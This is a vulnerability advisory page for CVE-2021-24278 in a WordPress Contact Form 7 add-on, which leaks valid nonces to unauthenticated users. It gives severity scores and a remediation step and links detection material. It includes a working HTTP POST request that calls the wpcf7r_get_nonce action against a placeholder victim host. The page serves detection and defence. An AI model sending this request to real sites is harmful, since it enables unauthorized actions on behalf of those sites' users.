🔙 목록으로 돌아가기

CVE-2021-24278: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation

TitleWordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
Author2rs3c
SeverityHigh
ImpactAttackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
RemediationUpdate WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
CVSS Score7.5
EPSS Score0.35223
CVE IDCVE-2021-24278
CWE IDCWE-863
Tags cve2021 cve wordpress wp-plugin wpscan querysol vkev vuln

🔍 Vulnerability Description

WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
Connection: close
Content-Length: 37
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=wpcf7r_get_nonce&param=wp_rest

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24278.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24278.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A